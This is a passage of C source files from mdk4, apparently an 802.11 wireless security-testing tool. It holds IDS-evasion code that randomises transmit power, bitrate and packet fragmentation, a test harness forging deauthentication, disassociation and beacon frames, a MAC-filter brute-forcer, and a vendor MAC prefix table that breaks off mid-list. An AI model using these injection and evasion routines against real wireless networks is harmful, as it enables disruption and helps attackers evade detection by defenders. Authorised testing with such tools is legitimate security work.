*)global_cur_options)->isblacklist){ if(ie_len == essid_len){ if(!memcmp(essid_block, pie_data, essid_len)){ for(i=0; iisblacklist){ if(!memcmp(&bssid, &mac_block, sizeof(struct ether_addr))){ for(i=0; inl80211_id, 0, 0, NL80211_CMD_GET_WIPHY, 0); NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(iface)); err = handle_channels(state, msg); if (err){ goto out; }; nl_socket_set_cb(state->nl_sock, s_cb); err = nl_send_auto_complete(state->nl_sock, msg); if (err < 0){ goto out; }; err = 1; nl_cb_err(cb, NL_CB_CUSTOM, error_handler, &err); nl_cb_set(cb, NL_CB_FINISH, NL_CB_CUSTOM, finish_handler, &err); nl_cb_set(cb, NL_CB_ACK, NL_CB_CUSTOM, ack_handler, &err); nl_cb_set(cb, NL_CB_VALID, NL_CB_CUSTOM, valid_handler, NULL); while (err > 0) nl_recvmsgs(state->nl_sock, cb); nla_put_failure: out: nl_cb_put(cb); nl_cb_put(s_cb); nlmsg_free(msg); nl80211_cleanup(&nlstate); } void nl80211_init_channel_list() { int i=0, j=0, p=0; nl80211_get_channel_list(osdep_iface_out); chans[lpos_x].chan = 0; chans[lpos_x].hop = 0; if(0!=strcmp(osdep_iface_out, osdep_iface_in)){ for(i = 0; i<= lpos_x; i++){ chans_out[i] = chans[i].chan; } lpos_out = lpos_x; nl80211_get_channel_list(osdep_iface_in); for(i = 0; i<= lpos_x; i++){ chans_in[i] = chans[i].chan; } lpos_in = lpos_x; p = 0; for(i = 0; i< lpos_out; i++){ for(j = 0; j< lpos_in; j++){ if(chans_out[i] == chans_in[j]){ chans[p].chan = chans_out[i]; chans[p].hop = 0; p++; } } } chans[p].chan = 0; chans[p].hop = 0; lpos_x = p; } } void channel_hopper() { // A simple thread to hop channels int cclp = 0, i; if(sniff){ for(i=0; i #include #include #include #include "ghosting.h" #include "osdep.h" #ifdef __linux__ unsigned int ghosting_period = 100; int ghosting_maxrate, ghosting_minpower; /* ZERO_CHAOS says: * If you want to make the WIDS vendors hate you, * change tx power of the card while injecting, so you can evade location tracking. * If you turn the radio's power up and down every few ms, the trackers will have a much harder time finding you * (basicly you will hop all over the place depending on sensor position). At least madwifi can do it. * * Also change speed every few ms, not a fantastic evasion technique but it may cause more location tracking oddity. */ char *ghost_help ="###### This version supports IDS Evasion (Ghosting) ######\n" "# Just append --ghost ,, #\n" "# after your attack mode identifier to enable ghosting! #\n" "# : How often (in ms) to switch rate/power #\n" "# : Maximum Bitrate to use in MBit #\n" "# : Minimum TX power in dBm to use #\n" "# NOTE: Does not fully work with every driver, YMMV... #\n" "##########################################################\n"; void ghosting_print_help() { printf("%s\n", ghost_help); } void txpower_ghosting_thread() { while(1) { osdep_random_txpower(ghosting_minpower); usleep(1000 * ghosting_period); } } void bitrate_ghosting_thread() { int maxrate = ghosting_maxrate * 1000000; long rnd; if (maxrate == 5000000) maxrate = 5500000; //5.5 MBit crap :( while(1) { do { rnd = random() % VALID_RATE_COUNT; } while (VALID_BITRATES[rnd] > maxrate); osdep_set_rate(VALID_BITRATES[rnd]); usleep(1000 * ghosting_period); } } //If you set rate or power to -1, ghosting will be disabled for this! //So If you just want to change your tx power every 100 ms from 10 dBm to your cards max: //start_ghosting(100, -1, 10); void start_ghosting(unsigned int period, int max_bitrate, int min_tx_power) { pthread_t rateghost, powerghost; //Gotta get stuff away from the stack: ghosting_period = period; ghosting_maxrate = max_bitrate; ghosting_minpower = min_tx_power; osdep_init_txpowers(); //don't forget to init stuff! printf("Ghosting has been activated: "); if (max_bitrate < 1) { printf("You're a funny guy... Your maximum bitrate is less than 1....\n"); return; } if (min_tx_power > osdep_get_max_txpower()) { printf("Your minimum TX power is greater than your cards maximum. You want to fry stuff?\n"); return; } if (max_bitrate != -1) { printf("Change Bitrate from 1 to %d MBit, ", max_bitrate); pthread_create(&rateghost, NULL, (void *) bitrate_ghosting_thread, (void *) NULL); } if (min_tx_power != -1) { printf("Change TX Power from %d to %d dBm, ", min_tx_power, osdep_get_max_txpower()); pthread_create(&powerghost, NULL, (void *) txpower_ghosting_thread, (void *) NULL); } printf("every %d milliseconds\n", period); } void parse_ghosting(const char *input) { int parseok; int per, rate, pow; parseok = sscanf(input, "%d,%d,%d", &per, &rate, &pow); if (parseok != 3) { printf("Your ghosting parameters are unparseable...\n"); exit(-1); } start_ghosting(per, rate, pow); } #endif mdk4-master/src/ghosting.h0000644000175000017500000000070113525065636016555 0ustar samuelophsamueloph#ifndef HAVE_GHOSTING_H #define HAVE_GHOSTING_H #ifdef __linux__ //This does the job for you void parse_ghosting(const char *input); //If you set rate or power to -1, ghosting will be disabled for this! //So If you just want to change your tx power every 100 ms from 10 dBm to your cards max: //start_ghosting(100, -1, 10); void start_ghosting(unsigned int period, int max_bitrate, int min_tx_power); void ghosting_print_help(); #endif #endif mdk4-master/src/brute.h0000644000175000017500000000077113525065636016063 0ustar samuelophsamueloph#ifndef HAVE_BRUTE_H #define HAVE_BRUTE_H //if last is NULL a new word with length len will be allocated and returned //Use this word for the next calls to get_brute_word //if last is set, len is ignored and the next valid word is returned (overwrites last, do not free()!) //cls is a string with the selected character classes, supported are: //l (lowercase), u (uppercase, n (numbers), s (symbols) //EVERYTHING is 7bit ASCII only! char *get_brute_word(char *cls, char *last, unsigned int len); #endif mdk4-master/src/Makefile0000644000175000017500000000217413525065636016230 0ustar samuelophsamuelophMDK_ROOT = .. include $(MDK_ROOT)/common.mak CFLAGS += -g -O3 -Wall -Wextra LINKFLAGS = -lpthread -lpcap $(LDFLAGS) SBINDIR = $(PREFIX)/sbin MANDIR = $(PREFIX)/share/man OSD = osdep LIBS += -lm -L$(OSD) -l$(OSD) LIBOSD = $(OSD)/lib$(OSD).so OBJS = debug.o helpers.o mac_addr.o linkedlist.o greylist.o dumpfile.o packet.o brute.o OBJS_OSD = osdep.o channelhopper.o ghosting.o fragmenting.o ATTACKS = attacks OBJ_ATT = $(shell ls attacks/*.h | sed s/"\.h"/"\.o"/g) all: osd mdk4 $(OBJ_ATT) att att: $(MAKE) -C $(ATTACKS) osd: $(MAKE) -C $(OSD) $(LIBOSD) $(OSD)/libosdep.a: $(MAKE) -C $(OSD) $(OBJ_ATT): $(MAKE) -C $(ATTACKS) mdk4: mdk4.c $(OSD)/libosdep.a $(OBJS) $(OBJS_OSD) $(OBJ_ATT) $(MAKE) -C $(ATTACKS) $(CC) $(CFLAGS) $(CPPFLAGS) $(^) -o $(@) $(LIBS) $(LINKFLAGS) test: test.c $(OBJS) $(CC) $(CFLAGS) $(CPPFLAGS) $(^) -o $(@) $(LINKFLAGS) mv $(@) .. install: mdk4 install -D -m 0755 $^ $(SBINDIR)/$^ $(MAKE) -C $(ATTACKS) install $(MAKE) -C $(OSD) install .PHONY : clean clean: rm -f mdk4 rm -f $(OBJS) $(OBJS_OSD) rm -f ../test *.o $(MAKE) -C $(OSD) clean $(MAKE) -C $(ATTACKS) clean distclean: clean mdk4-master/src/test.c0000644000175000017500000001763313525065636015721 0ustar samuelophsamueloph#include #include #include #include #include #include "helpers.h" #include "mac_addr.h" #include "linkedlist.h" #include "greylist.h" #include "dumpfile.h" #include "brute.h" void print_chars_decimal(char *values, int count) { int i; for(i=0; istatus, cl->data); cl = cl->next; } while (cl != first); } void test_helpers() { char chan[8]; char *ssid[8]; int i; char *line; printf("Testing generic helpers:\n"); for(i=0; i<8; i++) chan[i] = generate_channel(); printf("Random channels: "); print_chars_decimal(chan, 8); for(i=0; i<8; i++) { assert(chan[i] > 0); assert(chan[i] < 15); } for(i=0; i<8; i++) ssid[i] = generate_ssid(0); printf("\nRandom SSIDs: "); print_strings(ssid, 8); for(i=0; i<8; i++) { assert(strlen(ssid[i]) > 0); assert(strlen(ssid[i]) < 33); free(ssid[i]); } printf("\nWho are my authors?:\n"); line = read_next_line("./AUTHORS", 1); while (line) { printf(" READING: %s\n", line); free(line); line = read_next_line("./AUTHORS", 0); } printf("\n\n"); } void show_some_macs(struct ether_addr mac, struct ether_addr mac2) { int i; printf("\n First MAC: "); print_mac(get_next_mac(mac, &mac2)); printf("\n Second MAC: "); print_mac(get_next_mac(mac, &mac2)); for(i=0; i<99998; i++) get_next_mac(mac, &mac2); printf("\n MAC 100000: "); print_mac(get_next_mac(mac, &mac2)); for(i=0; i<16677214; i++) get_next_mac(mac, &mac2); printf("\n Many MACs later: "); print_mac(get_next_mac(mac, &mac2)); if (MAC_IS_BCAST(mac2)) printf("\n Ran out of MAC addresses (correct in semi-auto and manual)."); for(i=0; i<123456; i++) get_next_mac(mac, &mac2); printf("\n New base: "); print_mac(get_next_mac(mac, &mac2));} void test_mac_addr() { struct ether_addr mac, mac2; char parse1[18] = "aa:bB:Cc:DD:00:0f"; char parse2[13] = "aabbCCdDEef9"; printf("Testing MAC Address parsers and generators:\n"); MAC_SET_NULL(mac); printf("Null MAC: "); print_mac(mac); assert(MAC_IS_NULL(mac)); MAC_SET_BCAST(mac); printf("\nBroadcast MAC: "); print_mac(mac); assert(MAC_IS_BCAST(mac)); printf("\nParsing %s: ", parse1); print_mac(parse_mac(parse1)); printf("\nParsing %s: ", parse2); print_mac(parse_mac(parse2)); printf("\nRandom MAC: "); print_mac(generate_mac(MAC_KIND_RANDOM)); printf("\nRandom valid client MAC: "); print_mac(generate_mac(MAC_KIND_CLIENT)); printf("\nRandom valid AP MAC: "); print_mac(generate_mac(MAC_KIND_AP)); printf("\nMAC filter Bruteforcer in auto-mode:"); MAC_SET_NULL(mac); MAC_SET_NULL(mac2); show_some_macs(mac, mac2); printf("\nMAC filter Bruteforcer in semi-auto mode starting with F0:EE:DD:"); mac.ether_addr_octet[0] = 0xF0; mac.ether_addr_octet[1] = 0xEE; mac.ether_addr_octet[2] = 0xDD; MAC_SET_NULL(mac2); show_some_macs(mac, mac2); printf("\nMAC filter Bruteforcer in manual mode starting with F0:EE:DD:AA:00:85"); mac2.ether_addr_octet[0] = 0xAA; mac2.ether_addr_octet[1] = 0x00; mac2.ether_addr_octet[2] = 0x85; show_some_macs(mac, mac2); printf("\n\n"); } void test_linkedlist() { struct clist *cl = NULL; char tdata[10] = "testdata"; char *rdata; int i; printf("Testing Circular Linked Lists:\n"); printf("Test A: Data CList\n"); printf(" Searching status in empty list: %X\n", (unsigned int) search_status(cl, 0)); printf(" Searching \"%s\" in empty list: %X\n", tdata, (unsigned int) search_data(cl, (u_char *) tdata, strlen(tdata))); printf(" Adding random data to list.\n"); for (i=0; i<5; i++) { rdata = generate_ssid(0); cl = add_to_clist(cl, (u_char *) rdata, random(), strlen(rdata)+1); free(rdata); } printf(" Adding \"%s\"\n", tdata); cl = add_to_clist(cl, (u_char *) tdata, 0, strlen(tdata)+1); printf(" Adding more random data to list.\n"); for (i=0; i<15; i++) { rdata = generate_ssid(0); cl = add_to_clist(cl, (u_char *) rdata, random(), strlen(rdata)+1); free(rdata); } printf(" CList DUMP:\n"); print_clist(cl); printf(" Searching status in full list: %X\n", (unsigned int) search_status(cl, 0)); printf(" Searching \"%s\" in full list: %X\n", tdata, (unsigned int) search_data(cl, (u_char *) tdata, strlen(tdata))); printf("Test B: WIDS AP CList - not implemented\n"); printf("Test C: WIDS Client CList - not implemented\n"); } void test_greylist() { struct ether_addr target = parse_mac("000011112222"); printf("Testing Greylist\n"); //Using an example file that is not well formed ;) load_greylist(1, "./useful_files/fakeap-example.txt"); if (is_blacklisted(target)) { printf(" Target MAC has been found blacklisted\n"); } else { printf(" Target MAC is NOT blacklisted!\n"); } printf("Turning list into a whitelist:\n"); load_greylist(0, NULL); if (is_blacklisted(target)) { printf(" Target MAC has been found blacklisted\n"); } else { printf(" Target MAC is NOT blacklisted!\n"); } } void test_packet() { struct packet pkt; int i; uint16_t caps; struct ether_addr bssid, station; char *ssid; char enc[4] = {'n', 'w', 't', 'a'}; printf("Opening testdump.cap\n"); start_dump("testdump.cap"); printf("Creating random beacons :)\n"); for(i=0; i<20; i++) { bssid = generate_mac(MAC_KIND_AP); ssid = generate_ssid(0); pkt = create_beacon(bssid, ssid, (uint8_t) (random() % 14), enc[random() % 4], (random() % 2) * 54, random() % 2); dump_packet(&pkt); free(ssid); ssid = get_ssid(&pkt, NULL); caps = get_capabilities(&pkt); printf("SSID found in beacon: %s\n", ssid); printf("Capabilities: %04X\n", caps); free(ssid); } printf("Creating random auths :)\n"); for(i=0; i<20; i++) { bssid = generate_mac(MAC_KIND_AP); station = generate_mac(MAC_KIND_CLIENT); pkt = create_auth(bssid, station, (random() % 2) + 1); dump_packet(&pkt); } printf("Creating random probes :)\n"); for(i=0; i<20; i++) { station = generate_mac(MAC_KIND_CLIENT); ssid = generate_ssid(0); pkt = create_probe(station, ssid, (random() % 2) * 54); dump_packet(&pkt); free(ssid); } printf("Creating random kicks :)\n"); for(i=0; i<20; i++) { station = generate_mac(MAC_KIND_CLIENT); bssid = generate_mac(MAC_KIND_AP); pkt = create_deauth(bssid, station, bssid); dump_packet(&pkt); pkt = create_deauth(station, bssid, bssid); dump_packet(&pkt); pkt = create_disassoc(bssid, station, bssid); dump_packet(&pkt); pkt = create_disassoc(station, bssid, bssid); dump_packet(&pkt); } printf("Creating random associations :)\n"); for(i=0; i<20; i++) { bssid = generate_mac(MAC_KIND_AP); ssid = generate_ssid(0); station = generate_mac(MAC_KIND_CLIENT); pkt = create_assoc_req(station, bssid, 0x0431, ssid, 54); dump_packet(&pkt); free(ssid); } printf("done!\n"); } void test_brute() { char word[3] = { 'x', 'x', 0x00 }; //Can't init with "xx", would be READ ONLY! int sl; char *fresh = NULL; printf("Words after %s, using lowercase and numbers:\n", word); sl = strlen(word); while(get_brute_word("ln", word, sl)) { printf("%s, ", word); fflush(stdout); } printf("Keyspace exhausted!\n"); printf("Fresh 2 char words:\n"); while((fresh = get_brute_word("u", fresh, 2))) { //Yep, use assignment as truth value. printf("%s, ", fresh); fflush(stdout); } printf("Keyspace exhausted!\n"); free(fresh); } int main() { printf("mdk4 Implementation Tests\n\n"); srandom(time(NULL)); //Fresh numbers each run test_helpers(); test_linkedlist(); test_greylist(); test_packet(); test_mac_addr(); test_brute(); stop_dump(); return 0; } mdk4-master/src/mac_addr.c0000644000175000017500000001030013525065636016454 0ustar samuelophsamueloph#include #include #include #include #include "manufactor.h" #include "mac_addr.h" struct ether_addr parse_mac(char *input) { // Parsing input MAC adresses like 00:00:11:22:aa:BB or 00001122aAbB struct ether_addr mac_p; uint8_t *bytes = mac_p.ether_addr_octet; if (input[2] == ':') { sscanf(input, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", bytes, bytes+1, bytes+2, bytes+3, bytes+4, bytes+5); } else { sscanf(input, "%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx", bytes, bytes+1, bytes+2, bytes+3, bytes+4, bytes+5); } return mac_p; } struct ether_addr parse_half_mac(char *input) { // Parsing input half MAC adresses like 00:00:11 or 000011 // Octets 3 to 5 will be 0x00 struct ether_addr mac_p; uint8_t *bytes = mac_p.ether_addr_octet; if (input[2] == ':') { sscanf(input, "%hhx:%hhx:%hhx", bytes, bytes+1, bytes+2); } else { sscanf(input, "%2hhx%2hhx%2hhx", bytes, bytes+1, bytes+2); } bytes[3] = bytes[4] = bytes[5] = 0x00; return mac_p; } struct ether_addr generate_valid_mac(int type, int list_len) { int t, pos; struct ether_addr mac_v; pos = random(); pos = pos % list_len; // SAMPLE LINE // 000123000000/FFFFFF000000 if (type == 0) { for (t=0; tether_addr_octet[2]++; if (macaddr->ether_addr_octet[2] == 0) { macaddr->ether_addr_octet[1]++; if (macaddr->ether_addr_octet[1] == 0) { macaddr->ether_addr_octet[0]++; } } } struct ether_addr get_next_mac(struct ether_addr mac_base, struct ether_addr *mac_lower) { static int pos = -2; static struct ether_addr lowb; static struct ether_addr upb; struct ether_addr mac_v; if (pos == -2) { MAC_SET_BCAST(lowb); MAC_SET_BCAST(upb); pos = -1; } if (MAC_IS_NULL(mac_base)) { //Use internal database //Increase lower bytes increase_mac_adress(&lowb); //Get new upper bytes? if (! memcmp(lowb.ether_addr_octet, "\x00\x00\x00", 3)) { //New pos in client list pos++; if (pos == clients_count) { MAC_SET_BCAST((*mac_lower)); MAC_SET_NULL(mac_v); return mac_v; } //Filling the first three bytes sscanf((char *) clients[pos], "%2hhx%2hhx%2hhx", upb.ether_addr_octet, upb.ether_addr_octet+1, upb.ether_addr_octet+2); } memcpy(mac_v.ether_addr_octet, upb.ether_addr_octet, 3); memcpy(mac_v.ether_addr_octet+3, lowb.ether_addr_octet, 3); } else { //Use MAC given by user increase_mac_adress(&lowb); if (! MAC_IS_NULL(*mac_lower)) { //Use start MAC given by user memcpy(lowb.ether_addr_octet, mac_lower->ether_addr_octet, 3); MAC_SET_NULL(*mac_lower); } if (! memcmp(lowb.ether_addr_octet, "\xFF\xFF\xFF", 3)) { MAC_SET_BCAST((*mac_lower)); MAC_SET_NULL(mac_v); return mac_v; } memcpy(mac_v.ether_addr_octet, mac_base.ether_addr_octet, 3); memcpy(mac_v.ether_addr_octet+3, lowb.ether_addr_octet, 3); } return mac_v; } void print_mac(struct ether_addr pmac) { uint8_t *p = pmac.ether_addr_octet; printf("%02X:%02X:%02X:%02X:%02X:%02X", p[0], p[1], p[2], p[3], p[4], p[5]); } mdk4-master/src/fragmenting.c0000644000175000017500000001337713525065636017244 0ustar samuelophsamueloph#include #include #include #include "fragmenting.h" #include "mac_addr.h" #include "osdep.h" int frag_min = 0, frag_max = 0, std_comp = 0, percentage = 0; char *frag_help = "#### This version supports IDS Evasion (Fragmenting) ####\n" "# Just append --frag ,, #\n" "# after your attack mode identifier to fragment all #\n" "# outgoing packets, possibly avoiding lots of IDS! #\n" "# : Minimum fragments to split packets into #\n" "# : Maximum amount of fragments to create #\n" "# : Percantage of packets to fragment #\n" "# NOTE: May not fully work with every driver, YMMV... #\n" "# HINT: Set max_frags to 0 to enable standard compliance #\n" "##########################################################\n"; void frag_print_help() { printf("%s\n", frag_help); } int frag_is_enabled() { return frag_min; } int frag_send_frag(struct packet *pkt, int start, int size, uint8_t fragno, int last_frag) { struct packet inject; struct ieee_hdr *hdr = (struct ieee_hdr *) inject.data; int payload_start = sizeof(struct ieee_hdr); memcpy(inject.data, pkt->data, pkt->len); if (hdr->type == 0x88) payload_start += 2; //handle QoS frames set_fragno(&inject, fragno, last_frag); memmove(inject.data + payload_start, inject.data + start + payload_start, size); inject.len = payload_start + size; return osdep_send_packet(&inject); } int frag_send_packet(struct packet *pkt) { struct ieee_hdr *hdr = (struct ieee_hdr *) pkt->data; struct ether_addr *dst = get_destination(pkt); int q = 0, rnd, payload_size, fragsize, i, last_frag = 0; float fragfsize, fi; uint8_t fragno = 0; //Check if already fragged => inject normally if (get_fragno(pkt)) return osdep_send_packet(pkt); //Encrypted packets cannot be fragmented, since each fragment is encrypted individually if (hdr->flags & 0xB0) return osdep_send_packet(pkt); //Std Comp: Only frag Unicast packets! //"The MAC may fragment and reassemble individually addressed MSDUs" if (std_comp && MAC_IS_BCAST(*dst)) return osdep_send_packet(pkt); if (hdr->type == 0x88) q = 2; //handle QoS frames payload_size = pkt->len -(sizeof(struct ieee_hdr) + q); //Check if packet is fraggable (has payload), no => inject normally if (pkt->len <= sizeof(struct ieee_hdr) + q) return osdep_send_packet(pkt); //Make a choice if packet is in the frag percentage rnd = random() % 100; if (rnd > percentage) return osdep_send_packet(pkt); //Select fragment count rnd = random() % (frag_max - frag_min + 1); rnd += frag_min; //Check if payload is longer than frag count, no => inject bytewise //Std Comp. Payload TWICE the frag count if (std_comp) { if ((2 * rnd) > payload_size) rnd = payload_size / 2; } else { if (rnd > payload_size) rnd = payload_size; } //Inject frags if (std_comp) { //Be compliant! //"The length of each fragment shall be an equal number of octets for all fragments except the last." fragsize = payload_size / rnd; if (fragsize % 2) fragsize++; //"The length of each fragment shall be an even number of octets, except for the last fragment." if ((fragsize * 15) < payload_size) fragsize += 2; //We can only send 15 frags max for (i=0; i payload_size) fragsize = (payload_size - i); //Adjust size of last fragment if (frag_send_frag(pkt, i, fragsize, fragno++, ((i + fragsize) == payload_size))) return -1; } } else { //VIOLATE THE STANDARD NOW: //"The MAC may fragment and reassemble individually addressed MSDUs" //"The length of each fragment shall be an equal number of octets for all fragments except the last." //"The length of each fragment shall be an even number of octets, except for the last fragment." fragfsize = (float) payload_size / (float) rnd; i = 0; for (fi=fragfsize; fi <= ((float)payload_size) + 0.5; fi+=fragfsize) { fragsize = (int) floorf(fi) - i; if (fragno == (rnd - 1)) { //Adjust size of last fragment because floats aren't exact last_frag = 1; fragsize = payload_size - i; } if (frag_send_frag(pkt, i, fragsize, fragno++, last_frag)) return -1; i = (int) floorf(fi); //Store where last fragment ended } } return 0; } void start_fragging(int min, int max, int perc) { if (max == 0) { printf("Standard Compliant Fragmentation activated! Will not fragment Broadcasts!\n"); std_comp = 1; max = 15; } if ((min < 1) || (max < 1)) { printf("NOT funny: Packets must be sent in at least one fragment! Raising fragment count\n"); if (min < 1) min = 1; if (max < 1) max = 1; } if ((min > 15) || (max > 15)) { printf("IEEE 802.11 only supports up to 15 fragments, lowering fragment count\n"); if (min > 15) min = 15; if (max > 15) max = 15; } if (min > max) { printf("Your fragmenting minimum is greater than the maximum, raising maximum to 15\n"); max = 15; } frag_min = min; frag_max = max; if (perc < 1) { printf("Adjusting percentage to 1\n"); perc = 1; } else if (perc > 100) { printf("Adjusting percentage to 100\n"); perc = 100; } percentage = perc; printf("IDS Evasion via Fragmentation is enabled and set to select %d to %d fragments for %d%% of all injected packets.\n", min, max, perc); } void parse_frag(const char *input) { int parseok; int min, max, perc; parseok = sscanf(input, "%d,%d, %d", &min, &max, &perc); if (parseok != 3) { printf("Your fragmenting parameters are unparseable...\n"); exit(-1); } start_fragging(min, max, perc); } mdk4-master/src/fragmenting.h0000644000175000017500000000031113525065636017231 0ustar samuelophsamueloph#ifndef FRAGMENTING_H_ #define FRAGMENTING_H_ #include "packet.h" void frag_print_help(); void parse_frag(const char *input); int frag_is_enabled(); int frag_send_packet(struct packet *pkt); #endif mdk4-master/src/pcap.h0000644000175000017500000000206113525065636015657 0ustar samuelophsamueloph#ifndef _COMMON_H #define _COMMON_H #define FORMAT_CAP 1 #define FORMAT_IVS 2 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define TCPDUMP_CIGAM 0xD4C3B2A1 #define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" #define PCAP_VERSION_MAJOR 2 #define PCAP_VERSION_MINOR 4 #define LINKTYPE_ETHERNET 1 #define LINKTYPE_IEEE802_11 105 #define LINKTYPE_PRISM_HEADER 119 #define LINKTYPE_RADIOTAP_HDR 127 #define LINKTYPE_PPI_HDR 192 #define uchar unsigned char #define ushort unsigned short #define uint unsigned int #define ulong unsigned long #define SWAP32(x) \ x = ( ( ( x >> 24 ) & 0x000000FF ) | \ ( ( x >> 8 ) & 0x0000FF00 ) | \ ( ( x << 8 ) & 0x00FF0000 ) | \ ( ( x << 24 ) & 0xFF000000 ) ); struct pcap_file_header { uint magic; ushort version_major; ushort version_minor; int thiszone; uint sigfigs; uint snaplen; uint linktype; }; struct pcap_pkthdr { int tv_sec; int tv_usec; uint caplen; uint len; }; #endif /* common.h */ mdk4-master/src/manufactor.h0000644000175000017500000005045713525065636017107 0ustar samuelophsamueloph/* * mdk4, a 802.11 wireless network security testing tool * Just like John the ripper or nmap, now part of most distros, * it is important that the defender of a network can test it using * aggressive tools.... before somebody else does. * * The MAC numbers in this file are from 'kismet' project by Mike Kershaw. * * Copyright (C) 2001-2006 Mike Kershaw * Copyright (C) 2006-2007 Pedro Larbig * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2 of the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #ifndef HAVE_MANUF_H #define HAVE_MANUF_H const int clients_count = 445; unsigned char clients[445][25] = { "000022220000/FFFFFFFF0000", "00008F8F0000/FFFFFFFF0000", "000103000000/FFFFFF000000", "000103030000/FFFFFFFF0000", "000103030000/FFFFFFFF0000", "000124000000/FFFFFF000000", "0001F4F40000/FFFFFFFF0000", "00022D000000/FFFFFF000000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00022D2D0000/FFFFFFFF0000", "00026F000000/FFFFFF000000", "00026F6F0000/FFFFFFFF0000", "00026F6F0000/FFFFFFFF0000", "00026F6F0000/FFFFFFFF0000", "00026F6F0000/FFFFFFFF0000", "0002A5000000/FFFFFF000000", "0002A5A50000/FFFFFFFF0000", "0002A5A50000/FFFFFFFF0000", "0002B3B30000/FFFFFFFF0000", "00032F000000/FFFFFF000000", "00032F2F0000/FFFFFFFF0000", "00032F2F0000/FFFFFFFF0000", "00032F2F0000/FFFFFFFF0000", "00045A000000/FFFFFF000000", "00045A000000/FFFFFF000000", "00045A000000/FFFFFF000000", "00045A5A0000/FFFFFFFF0000", "00045A5A0000/FFFFFFFF0000", "00045A5A0000/FFFFFFFF0000", "00045A5A0000/FFFFFFFF0000", "00045A5A0000/FFFFFFFF0000", "000475000000/FFFFFF000000", "000475750000/FFFFFFFF0000", "000475750000/FFFFFFFF0000", "000475750000/FFFFFFFF0000", "0004DBDB0000/FFFFFFFF0000", "0004E2000000/FFFFFF000000", "0004E2E20000/FFFFFFFF0000", "0004E2E20000/FFFFFFFF0000", "0004E2E20000/FFFFFFFF0000", "0004E2E20000/FFFFFFFF0000", "0004E2E20000/FFFFFFFF0000", "00053C3C0000/FFFFFFFF0000", "00055D000000/FFFFFF000000", "00055D000000/FFFFFF000000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "00055D5D0000/FFFFFFFF0000", "000625000000/FFFFFF000000", "000625000000/FFFFFF000000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "000625250000/FFFFFFFF0000", "00070E000000/FFFFFF000000", "00070E0E0000/FFFFFFFF0000", "00070E0E0000/FFFFFFFF0000", "000750000000/FFFFFF000000", "000750500000/FFFFFFFF0000", "000750500000/FFFFFFFF0000", "000821000000/FFFFFF000000", "000821210000/FFFFFFFF0000", "000821210000/FFFFFFFF0000", "000821210000/FFFFFFFF0000", "000821210000/FFFFFFFF0000", "000943000000/FFFFFF000000", "000943430000/FFFFFFFF0000", "00095B000000/FFFFFF000000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00095B5B0000/FFFFFFFF0000", "00097C000000/FFFFFF000000", "00097C7C0000/FFFFFFFF0000", "00097C7C0000/FFFFFFFF0000", "000992920000/FFFFFFFF0000", "0009B7B70000/FFFFFFFF0000", "0009B7B70000/FFFFFFFF0000", "0009E8000000/FFFFFF000000", "0009E8E80000/FFFFFFFF0000", "000A41000000/FFFFFF000000", "000A41410000/FFFFFFFF0000", "000A41410000/FFFFFFFF0000", "000A41410000/FFFFFFFF0000", "000A41410000/FFFFFFFF0000", "000A41410000/FFFFFFFF0000", 